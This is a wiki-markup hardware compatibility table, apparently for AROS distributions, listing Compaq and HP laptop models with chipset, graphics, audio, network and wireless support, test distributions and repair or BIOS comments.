| &lt;!--Name--&gt;1c00 series Compaq Presario  [http://users.utu.fi/sjsepp/linuxcompaqarmada100s.html Armada 100S made by Mitac], 1247 || &lt;!--Chipset--&gt;K6-II with PE133 MVP-4 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;use VESA - Trident Blade3D AGP sp16953 || &lt;!--Audio--&gt;VIA ac'97 audio [rev20] with AD1881A codec || &lt;!--USB--&gt;{{Maybe|usual VIA issues [rev10]}} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{N/A}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;1998 32bit 192MB max - PCcard Texas PC1211 no support - 1200 XL1 1200-XL1xx, XL101, XL103 XL105 XL106 XL109 XL110 XL111 XL116  XL118 XL119 XL125 
|-
| &lt;!--Name--&gt;1c01 series Armada 110, Evo N150 || &lt;!--Chipset--&gt;Intel with VIA PLE133 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Use VESA - Trident Cyber Blade i1 chipset || &lt;!--Audio--&gt;VIA 686 rev20 82xxx 686a || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Intel 82557 Pro 100 || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;1998 32bit max 192mb sodimm 100Mhz 133Mhz ram memory - 1200-XL405A 12XL405A XL502A 12XL502A 1600XL 
|-
| Armada M300 M700 E500 || 440BX || {{Yes| }} || {{N/A}} || {{maybe|ATI Rage LT M1 Mobility (VESA only)}} || {{no|AC97 ESS Maestro 2E M2E ES1987 sound}} || {{yes|USB1.1 only}} || {{No|[http://perho.org/stuff/m300/index_en.html Intel PRO 100+ Mini PCI]}} || {{N/A}} || Aspire OS 2012, Nightly 30-01 2013 and 04-05 2013 || 1999 32bit - F10 bios options and Fn+F11 reset CMOS with 64mb ram already on board
|-
| &lt;!--Name--&gt;HP Omnibook XE3 || &lt;!--Chipset--&gt;Intel BX 600Mhz GC model 256mb or AMD GD 500Mhz || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Use VESA - S3 Inc. 86C270 294 Savage IX-MV (rev 11) || &lt;!--Audio--&gt;{{No|ESS ES1988 Allegro 1 (rev 12)}} || &lt;!--USB--&gt;Intel 82371AB PIIX4 USB (rev 01) || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{N/A}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2002 32bit no cardbus pcmcia support - no audio from Polk Audio Speakers - 
|-
| &lt;!--Name--&gt;HP Omnibook XE3 || &lt;!--Chipset--&gt;82830 ICH3 P3-M 750MHz 800Mhz 900MHz  || &lt;!--IDE--&gt;{{Yes| }} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{Maybe|use VESA - CGC 830MG}} || &lt;!--Audio--&gt;{{No|ESS ES1988 Maestro 3i}} || &lt;!--USB--&gt;{{Yes|only one 1.1 port}} || &lt;!--Ethernet--&gt;{{Yes|e100 82557}} || &lt;!--Wireless--&gt;{{N/A|}} || &lt;!--Test Distro--&gt;Icaros 1.51 || &lt;!--Comments--&gt;2002 32bit Boots USB Stick via Plop boot floppy - Memory for GF 256-512mb, GS up 1GB 
|-
| &lt;!--Name--&gt;TC1000 TC-1000 Tablet PC || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;NVIDIA NV11 [GeForce2 Go] (rev b2) || &lt;!--Audio--&gt;VIA AC97 Audio (rev 50) || &lt;!--USB--&gt;OHCI NEC USB 2.0 (rev 02) || &lt;!--Ethernet--&gt;Intel 82551 QM (rev 10) || &lt;!--Wireless--&gt;Atmel at76c506 802.11b || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2002 32bit Transmeta LongRun (rev 03)  with VT82C686 - Texas Instruments TI PCI1520 PC card Cardbus 
|-
| &lt;!--Name--&gt;HP Compaq R3000 ZV5000 (Compal LA-1851) || &lt;!--Chipset--&gt;Nvidia nForce 3 with AMD CPU || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Nvidia  NV17 [GeForce4 420 Go 32M]  || &lt;!--Audio--&gt;Nvidia  || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Broadcom or Realtek RTL8139 || &lt;!--Wireless--&gt;{{Maybe|Broadcom BCM4303 BCM4306 or Atheros bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2003 32bit - HPs have a setting to automatically disable wireless if a wired connection is detected 
|-
| &lt;!--Name--&gt;Compaq [http://www.walterswebsite.us/drivers.htm Presario 700 series] || &lt;!--Chipset--&gt;VT8363 VT8365 [Apollo Pro KT133 KM133] || &lt;!--IDE--&gt;{{yes}} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{maybe|VT8636A (S3 Savage TwisterK) (VESA only)}} || &lt;!--Audio--&gt;{{Maybe|VIA AC97 [rev50] with AD1886 codec}} || &lt;!--USB--&gt;{{maybe|VIA UHCI USB 1.1 [rev1a]}} || &lt;!--Ethernet--&gt;{{yes|RealTek RTL8139}} || &lt;!--Wireless--&gt;{{no|Broadcom BCM4306}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2003 32bit poor consumer grade level construction - jbl audio pro speakers - no support for cardbus pcmcia TI PCI1410 - 700A EA LA UK US Z 701AP EA BR FR 701Z 702US 703US AP JP audio sp18895 Sp19472 
|-
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| N400c || P3-M 82845 || {{yes|82801 CAM IDE U100}} || {{N/A}} || {{maybe|Rage Mobility 128 (VESA only)}} || {{No|Maestro 3 allegro 1}} || {{yes|USB1.1}} || {{yes|Intel PRO 100 VM (KM)}} || {{N/A}} || Icaros 1.2.4 || 2003 32bit Has no optical disc drive 
|-
| N410c || P3-M 82845 || {{yes|82801 CAM IDE U100}} || {{N/A}} || {{maybe|Radeon Mobility M7 LW 7500 (VESA only)}} || {{yes|Intel AC97 with AD1886 codec}} || {{yes|USB1.1}} || {{yes|Intel PRO 100 VM (KM)}} || {{N/A}} || Icaros 1.2.4 || 2003 32bit Has no optical disc drive 
|-
| Evo N600c || Pentium 4 || {{yes|IDE}} || {{N/A}} || {{partial|ATI Radeon Mobility M7 (VESA only)}} || {{No|ESS ES1968 Maestro 2}} || {{yes|USB}} || {{yes|Intel PRO 100}} || {{dunno}} || Icaros 1.3 || 2003 32bit 
|-
| Evo N610c || Pentium 4 || {{yes|IDE}} || {{N/A}} || {{partial|ATI Radeon Mobility M7 (VESA only)}} || {{yes|Intel ICH AC97 with AD1886 codec}} || {{yes|USB}} || {{yes|Intel PRO 100}} || {{dunno}} || Icaros 1.2.4 ||
|-
| N800c || P4 || {{Yes|IDE}} || {{N/A}} || {{partial|ATI Radeon Mobility 7500 (VESA only)}} || {{yes|AC97}} || {{yes|USB}} || {{yes|Intel PRO 100}} || {{N/A}} || Icaros 1.2.4 || 2003 32bit P4M CPU can get very warm 
|-
| &lt;!--Name--&gt;NX7010 || &lt;!--Chipset--&gt;Intel  || &lt;!--IDE--&gt;{{yes|IDE}} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{partial|ATI mobility 7500 or 9000 Radeon 9200 64MB (VESA only)}} || &lt;!--Audio--&gt;{{yes|AC97 ADI codec}} || &lt;!--USB--&gt;{{yes|uhci (1.1) and ehci (2.0)}} || &lt;!--Ethernet--&gt;{{yes|Realtek 8139}} || &lt;!--Wireless--&gt;{{No|Intel 2200b bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2003 32bit 
|-
| &lt;!--Name--&gt;Compaq Preasrio V5000 (Compal LA-2771) || &lt;!--Chipset--&gt;AMD Sempron 3000+ or Turion ML with SB400 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Maybe|use VESA - Ati RS480M Xpress 200}} || &lt;!--Audio--&gt;{{No|AC97 ATI with Conexant CX 20468 codec}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{Yes|Realtek 8100 8101L 8139}} || &lt;!--Wireless--&gt;{{No|bcm4318 bios locked}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1.1 || &lt;!--Comments--&gt;2004 64bit single core machine V5001 V5002 V5002EA V5003 
|-
| &lt;!--Name--&gt;TC1100 TC-1100 Tablet PC || &lt;!--Chipset--&gt;855PM || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Nvidia Geforce4 Go || &lt;!--Audio--&gt;AC97 || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{Maybe|BCM 4400}} || &lt;!--Wireless--&gt;{{Maybe|Atheros wlan W400 W500 or ? bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2004 32bit 
|-
| &lt;!--Name--&gt;NC6000 NC8000 NW8000 || &lt;!--Chipset--&gt;855PM with Pentium M 1.5 1.6 1.8GHz 2.0GHz || &lt;!--IDE--&gt;max 160 GB for NW 8000 || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Maybe|Ati RV350 mobility 9600 M10 Fire GL T2 ISV use VESA 2D as no laptop display}} || &lt;!--Audio--&gt;{{Yes|Intel AC97 with ADI codec playback only}} || &lt;!--USB--&gt;{{Yes|2 ports}} || &lt;!--Ethernet--&gt;{{No|Broadcom BCM 5705M}} || &lt;!--Wireless--&gt;{{Maybe|mini pci Atheros 5212 BG W400 W500 or Intel - all bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2005 based [http://amigaworld.net/modules/newbb/viewtopic.php?topic_id=41916&amp;forum=47 works] - Firewire TI TSB43AB22/A - 8 pound 2.5 kg travel weight - an SD slot as well as two PC Card slots - 15-inch UXGA screen (1,600 x 1,200) or 15&quot; SXGA+ (1400 x 1050) (4:3 ratio)  
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Compaq NC6110 NX6110 NC6120 NC6220 NC4200 NC8200 TC4200 || &lt;!--Chipset--&gt;GMA 915GML || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Yes|2D GMA 900}} || &lt;!--Audio--&gt;{{Yes|AC97 with ADI AD1981B playback}} || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt;{{Unk|440x or BCM 5705M or 5751M}} || &lt;!--Wireless--&gt;{{No|Intel IPW 2200 bios locked}} || &lt;!--Test Distro--&gt;Icaros 1.5.2 || &lt;!--Comments--&gt;2005 32bit Sonoma based - Wifi with Atheros AR5007eg if apply hacked bios RISKY else use USB one - (INVENTEC ASPEN UMA MV) (INVENTEC ASPEN DIS PV) - 
|-
| &lt;!--Name--&gt;Compaq C500 CTO aka HP G7000 || &lt;!--Chipset--&gt;Intel 945GM || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;GMA 950 || &lt;!--Audio--&gt;HD Audio with realtek ALC262 codec || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Realtek 8139 || &lt;!--Wireless--&gt;Broadcom BCM 4311 bios locked || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2005 32bit 
|-
| &lt;!--Name--&gt;HP DV6000 || &lt;!--Chipset--&gt;945GMS || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;GMA 950 || &lt;!--Audio--&gt;HD Audio IDT 92HD 91B || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Intel PRO 100 VE || &lt;!--Wireless--&gt;{{No|Intel 3945 bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2006 32 bit only - Mosfet FDS6679 common cause of shorts giving no power to the tip. To reset adapter, unplug from AC (mains) and wait 15-30 sec. Then plug in again - 
|-
| Presario F700 series, HP G6000 f730us F750 F750us F755US F756NR F765em || AMD Turion Mono MK-36 2.0Ghz NForce 560m or Twin X2 TK-55 with nForce 610m MCP67 || {{N/A| }} || {{Yes|but needs special sata adapt bit and caddy}} || {{Yes|GF Go 7000m 2D and 3D 640x350 to 1280x800 - ball solder issues due to poor cooling}} || {{Maybe| }} || {{Maybe|uhci and ehci boots}} || {{No|Nvidia }} || {{Yes|Atheros AR5007 bios locked}} || Icaros 1.3.1 and Aros One 1.6 USB || 2006 64bit - f9 boot device f10 bios setup - random freezes after a minutes use means internal ventilation maintenance needed each year essential - No sd card and overall limited phoenix bios options - 
|-
| &lt;!--Name--&gt;Presario v6604au v6608au V3500 || &lt;!--Chipset--&gt;NVIDIA MCP67M with AMD Athlon64 X2 TK 55 amd 1.8ghz || &lt;!--IDE--&gt; || &lt;!--SATA--&gt;{{Yes|SATA 150}} || &lt;!--Gfx--&gt;NVIDIA GeForce Go 7150M 630i or C67 630M MCP67 || &lt;!--Audio--&gt;conexant codec || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Nvidia or Realtek 10/100 || &lt;!--Wireless--&gt;{{No|Broadcom 4311 bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2006 64bit Altec Lansing Stereo Speakers - ball solder issues - 
|-
| &lt;!--Name--&gt;Compaq presario v6610 v6615eo v6620us || &lt;!--Chipset--&gt;Turion 64 X2 mobile TK-55 / 1.8 GHz to athlon 64x2 @ 2.4ghz || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes|SATA 150}} || &lt;!--Gfx--&gt;{{Yes|geforce 7150 or 7300m 2d and 3d}} || &lt;!--Audio--&gt;{{Yes|AMD HD Audio with IDT codec stereo playback only}} || &lt;!--USB--&gt;3 OHCI EHCI || &lt;!--Ethernet--&gt;{{Maybe| }} || &lt;!--Wireless--&gt;{{No|Broadcom bios locked}} || &lt;!--Test Distro--&gt;Icaros 1.3 -  || &lt;!--Comments--&gt;2007 [http://amigaworld.net/modules/newbb/viewtopic.php?topic_id=40956&amp;forum=48 works well]  - 1 x ExpressCard/54 - SD Card slot - AO4407 test voltage of the Drain side (pins 5-8) with AC adapter and no battery, see 0 volts, connect the battery you should have 10-14v - 
|-
| &lt;!--Name--&gt;v6630em v6642em || &lt;!--Chipset--&gt;nForce 630M with AMD Turion 64 X2 Mobile TL-58 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;NVIDIA GeForce 6150M or 7150M  || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt;{{No|Broadcom bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2007 64bit 15.4 in 1280 x 800 ( WXGA ) - 
|-
| &lt;!--Name--&gt;HP Compaq NC6400 || &lt;!--Chipset--&gt;945GM Core Duo || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Maybe|GMA 950 2D issues and no 3d}} || &lt;!--Audio--&gt;{{No|HD Audio AD1981HD}} || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt;{{No|BCM }} || &lt;!--Wireless--&gt;{{No|Broadcom locked}} || &lt;!--Test Distro--&gt;Icaros || &lt;!--Comments--&gt;2007 - replaced with Atheros AR5007eg if apply hacked bios RISKY else use USB g - 
* 32bit Core Duo T2400 
* 64bit Core 2 Duo T5600 T7600 
|-
| &lt;!--Name--&gt;HP Compaq NV NC6400 || &lt;!--Chipset--&gt;Core Duo + 945PM || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Maybe| }} || &lt;!--Gfx--&gt;{{Maybe|use VESA Radeon x1300M (2D)}} || &lt;!--Audio--&gt;{{Maybe|HD Audio with ADI1981 low volume}} || &lt;!--USB--&gt;{{yes}} || &lt;!--Ethernet--&gt;{{no|BCM 5753M}} || &lt;!--Wireless--&gt;{{No|Intel 3945 ABG bios locked}} || &lt;!--Test Distro--&gt; Icaros 1.4.2 || &lt;!--Opinion--&gt;2007 Harmon Kardon speakers
|-
| &lt;!--Name--&gt;HP Compaq NC6320 || &lt;!--Chipset--&gt;945GM with 
* 32bit Core Duo 1.83GHz T2400 
* 64bit Core2 Duo 1.83GHz T5600 
 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Yes|GMA 950 2D with a little 3D tunnel 213}} || &lt;!--Audio--&gt;{{Maybe|Intel HD Audio with AD1981HD codec}} || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt;{{No|BCM 5788}} || &lt;!--Wireless--&gt;{{No|Intel 3945 bios locked}} || &lt;!--Test Distro--&gt;Icaros 2 || &lt;!--Comments--&gt;2007 replaced with Atheros AR5007eg if applying hacked wifi bios RISKY!! else use USB - 14.1&quot; or 15 inch XGA 1024x768 - noisy cpu fan for core2 - trackpad rhs acts as window scroller - 
|-
| &lt;!--Name--&gt;HP NC4400 TC4400 Tablet || &lt;!--Chipset--&gt;Core Duo with 82945 chipset || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes|bios F.07 limits to 100GB 120GB}} || &lt;!--Gfx--&gt;{{yes|2D and 3D 282 tunnel and gearbox 150}} || &lt;!--Audio--&gt;{{Yes|HD Audio with ADI 1981HD codec via ear phones}} || &lt;!--USB--&gt;{{yes| }} || &lt;!--Ethernet--&gt;{{No|BCM 5753M}} || &lt;!--Wireless--&gt;{{No|Intel 3945 or BCM 4306 - Whitelist BIOS F.0C needed but risky}} || &lt;!--Test Distro--&gt;2017 Icaros 2.1.2 || &lt;!--Comments--&gt;2008 64 bit possible with Core2 - TI SD card reader non bootable - wacom serial digitiser pen not working - 
* 32bit 1.86GHz core duo 
* 64bit 2Ghz T7200, 2.16Ghz Core 2 Duo T7600 2.33GHz 
|-
| &lt;!--Name--&gt;HP Pavilion DV2000 CTO || &lt;!--Chipset--&gt;945GMS || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;GMA 950, X3100, Nvidia 8400M || &lt;!--Audio--&gt;HD Audio Conexant CX 20549 Venice || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Nvidia MCP51 || &lt;!--Wireless--&gt;{{No|Broadcom BCM 4311 or Intel 3945 4965 ABG bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2008 Atheros AR5007eg if apply hacked bios RISKY 
|-
| &lt;!--Name--&gt;Compaq Presario C700 || &lt;!--Chipset--&gt;GMA960 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;X3100 || &lt;!--Audio--&gt;HD Audio || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;RTL 8139 || &lt;!--Wireless--&gt;{{Maybe|Atheros AR5007 AR5001 AR242x}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2008 
|-
| &lt;!--Name--&gt;Compaq 2510p 6510b 6710b 6910b || &lt;!--Chipset--&gt;GMA 965GM GL960 || &lt;!--IDE--&gt;{{yes| }} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{yes|X3100 some 2d but slow software 3d only}} || &lt;!--Audio--&gt;{{maybe|HD Audio ADI AD1981 HD low volume on head phones}} || &lt;!--USB--&gt;{{yes| }} || &lt;!--Ethernet--&gt;{{no|Intel 82566 or Broadcom BCM 5787M}} || &lt;!--Wireless--&gt;{{No|Intel 3945ABG or 4965ABG bios locked}} || &lt;!--Test Distro--&gt;Aspire OS Xenon 2014 || &lt;!--Comments--&gt;2008 no sd card boot support - F9 to choose boot option - [http://forums.mydigitallife.info/threads/7681-This-is-no-request-thread!-HP-COMPAQ-bioses-how-to-modify-the-bios/page111?p=333358#post333358 whitelist removal (risky) bios block for wifi card swap] 
|-
| &lt;!--Name--&gt;CQ40 CQ41 || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Maybe|VESA Intel}} || &lt;!--Audio--&gt;HD Audio || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Realtek RTL8101E || &lt;!--Wireless--&gt;{{No|Broadcom BC4310 bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2008 
|-
| &lt;!--Name--&gt;Compaq Presario CQ35 CQ36 || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Maybe|VESA }} || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Realtek RTL8101E RTL8102E || &lt;!--Wireless--&gt;{{No|Broadcom BCM4312 bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2008 Compal LA-4743P - 
|-
| &lt;!--Name--&gt;HP Compaq CQ42 CQ43 CQ45 || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Maybe|VESA }} || &lt;!--Audio--&gt;HD Audio with Coxenant codec || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Realtek || &lt;!--Wireless--&gt;{{No|Realtek RTL8191SE, Realtek 8188CE}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2008 (Quanta AX1) 
|-
| &lt;!--Name--&gt;Compaq Presario CQ50 CQ56 || &lt;!--Chipset--&gt;Nvidia MCP78S || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Geforce 8200M || &lt;!--Audio--&gt;nVidia HD Audio with  codec || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;nvidia MCP77 || &lt;!--Wireless--&gt;{{unk|Atheros AR928X bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2008 [http://donovan6000.blogspot.co.uk/2013/06/insyde-bios-modding-wifi-and-wwan-whitelists.html bios modding risky] MCP72XE MCP72P MCP78U MCP78S 
|-
| &lt;!--Name--&gt;CQ60 || &lt;!--Chipset--&gt;Single core Sempron to dual turion || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Maybe|VESA for Nvidia 8200M}} || &lt;!--Audio--&gt;{{yes|HD Audio}} || &lt;!--USB--&gt;{{yes| }} || &lt;!--Ethernet--&gt;{{no| }} || &lt;!--Wireless--&gt;{{No| bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2008 
|-
| &lt;!--Name--&gt;HP DV6700 || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{no|Vesa for Nvidia 8400M}} || &lt;!--Audio--&gt;{{no| }} || &lt;!--USB--&gt;{{no| }} || &lt;!--Ethernet--&gt;{{no| }} || &lt;!--Wireless--&gt;{{No|Intel }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2008 64bit - 
|-
| &lt;!--Name--&gt;CQ60 || &lt;!--Chipset--&gt;Intel C2D || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Maybe|VESA for Nvidia 9200M}} || &lt;!--Audio--&gt;{{yes|HD Audio}} || &lt;!--USB--&gt;{{yes| }} || &lt;!--Ethernet--&gt;{{no| }} || &lt;!--Wireless--&gt;{{No| bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2009 64bit - 
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;CQ57z || &lt;!--Chipset--&gt;AMD slow E-300 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{yes| }} || &lt;!--Gfx--&gt;{{Maybe|VESA ATi HD 6310 wrestler}} || &lt;!--Audio--&gt;{{unk| }} || &lt;!--USB--&gt;{{yes| }} || &lt;!--Ethernet--&gt;{{maybe|Realtek RTL8101 RTL8102}} || &lt;!--Wireless--&gt;{{No|RaLink RT5390}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2011 64bit does not support AVX or SSE 4.1 - 
|-
| &lt;!--Name--&gt;HP CQ58z 103SA E5K15EA || &lt;!--Chipset--&gt;AMD slow Dual-Core E1-1500 APU with A68M FCH || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{yes| }} || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for Radeon HD 7310}} || &lt;!--Audio--&gt;Realtek idt codec || &lt;!--USB--&gt;{{yes| }} || &lt;!--Ethernet--&gt;{{yes|Realtek 10/100 BASE-T}} || &lt;!--Wireless--&gt;{{No|Broadcom}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2011 64bit does not support AVX or SSE 4.1 - 39.6 cm (15.6&quot;) HD BrightView LED-backlit (1366 x 768)
|-
| &lt;!--Name--&gt;HP 635 DM1 || &lt;!--Chipset--&gt;AMD slow E-300, E-450 later E2-1800 on SB7x0 SB8x0 SB9x0 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;ATI non efi SATA AHCI - IDE mode || &lt;!--Gfx--&gt;{{Maybe|use VESA 2D - AMD HD6310, 6320 to HD7340}} || &lt;!--Audio--&gt;{{Yes|Realtek ALC270A GR but not Wrestler HDMI Audio}} || &lt;!--USB--&gt;{{yes| }} || &lt;!--Ethernet--&gt;{{Yes|rtl8169 driver covers Realtek RTL8101E RTL8102E}} || &lt;!--Wireless--&gt;{{unk|Atheros AR9285}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2012 64bit does not support AVX or SSE 4.1 - 14&quot; 1366 x 768 - f9 f10 - external battery - 2 stacked ddr3l sodimm slots max 16Gb under one base plate - removable keyboard - 
|-
| &lt;!--Name--&gt;HP G6 2000-2b10NR 2000-2d10SX 2000-2d80NR || &lt;!--Chipset--&gt;AMD very slow E1-2000 E2-3000M on A50M (soldered) A4-3305A on A60M (socket) || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;2.5in  || &lt;!--Gfx--&gt;{{Maybe|VESA AMD Radeon 6320, 6620G, 6520G, 6480G, 6380G}} || &lt;!--Audio--&gt;{{No| }} || &lt;!--USB--&gt;{{No| }} || &lt;!--Ethernet--&gt;{{maybe|Realtek 100 1000}} || &lt;!--Wireless--&gt;{{No|Realtek}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2012 64bit does not support AVX or SSE 4.1 - 39.6-cm (15.6-in) HD LED BrightView (1366×768) - 1 or 2 ddr3l max 8G - 19VDC 3.42A Max 65W Tip 7.4mm x 5.0mm - 
|-
| &lt;!--Name--&gt;HP ProBook 6465B || &lt;!--Chipset--&gt;AMD massively slow A6-3310MX or A6-3410MX with A60M || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;sata || &lt;!--Gfx--&gt;{{Maybe|VESA AMD 6480G or 6520G}} || &lt;!--Audio--&gt;{{No|IDT 92HD81B1X}} || &lt;!--USB--&gt;{{No| }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 Realtek 8111}} || &lt;!--Wireless--&gt;{{No|Intel AC 6205 or broadcom 4313 bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2013 64bit does not support AVX or SSE 4.1 - 13-inch or 14-inch runs hot - 
|-
| &lt;!--Name--&gt;HP Elitebook 8470p 8570p || &lt;!--Chipset--&gt;Intel Quad i7-3840QM, i7-3610QM, i7-3520M, i5-3210M, i3-3130M, i3-2370M on Intel QM77 chipset || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes|set the bios boot options to not fastboot and drive mode IDE rather than AHCI }} || &lt;!--Gfx--&gt;{{Maybe|Vesa 2d for HD4000 with some having switchable Radeon M2000 or 7570M}} || &lt;!--Audio--&gt;{{yes|HDAudio for IDT codec}} || &lt;!--USB--&gt;{{yes|USB2}} || &lt;!--Ethernet--&gt;{{No|Intel 82579LM }} || &lt;!--Wireless--&gt;{{No|Intel, Broadcom, Atheros}} || &lt;!--Test Distro--&gt;64 bit boots from CD* if safe mode 2 is used, although it is possible to remove the 'nodma' and 'debug' entries and boot || &lt;!--Comments--&gt;2013 64bit with SSE4.1 and AVX - 14in 1600 x 900 to 1366 x 768 - 2 DDR3L sodimm slots max 16Gb - TPM 1.2 - dual boot 32/64 bit is working fine - 
|-
